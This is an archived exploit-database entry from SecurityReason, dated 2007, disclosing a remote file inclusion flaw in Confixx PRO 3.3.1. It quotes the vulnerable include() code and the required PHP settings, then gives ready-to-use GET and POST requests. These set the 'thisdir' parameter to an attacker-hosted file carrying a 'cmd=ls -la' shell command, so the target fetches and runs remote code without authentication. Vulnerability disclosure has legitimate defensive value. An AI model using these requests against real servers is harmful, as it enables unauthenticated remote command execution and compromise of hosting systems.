|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  ExploitAlert Database |
||
ExploitAlert : 2553 Credit : H4 / XPK Date : 24.7.2007 Exploit Code : [*] Confixx <= PRO 3.3.1 Remote File Inclusion Vulnerability __________________________________________________________________________ [!] Application homepage : http://www.swsoft.com/de/products/confixx/ [!] Author : H4 / XPK [!] Contact : http://xpkzxc.com/ [!] Bug discovered : 2007-07-21 [!] Bug published : 2007-07-24 [!] Risk : Moderate Do not forget visit our page for new vulnerabilites , information and tools. --------------------------------------------------------------------- Vuln. code: admin/business_inc/saveserver.php Lines 8-11 if( !in_array($returnto, $actions) ) { include( $thisdir . "/business_inc/list.php" ); } Variable $thisdir is not defined ... --------------------------------------------------------------------- An attacker does not need to be authenticated to access this file. [!] Conditions: open_basedir restriction off and allow_url_fopen = on [!] Exploitation : http://[target]/admin/business_inc/saveserver.php Post: thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la Get: saveserver.php?thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la --------------------------------------------------------------------- |
||
| Alert | ||
Multiple Vendors libc/gdtoa printf(3) Array Overrun
SecurityReason realised new advisory about vulnerabilities libc/gdtoa... |
||
| Apache |  |
|
» Apache Tomcat |
||
» Apache Tomcat User |
||
| PHP | |
|
» PHP |
||
- 2009-05-30| Copyright © SecurityReason.com. All Rights Reserved. |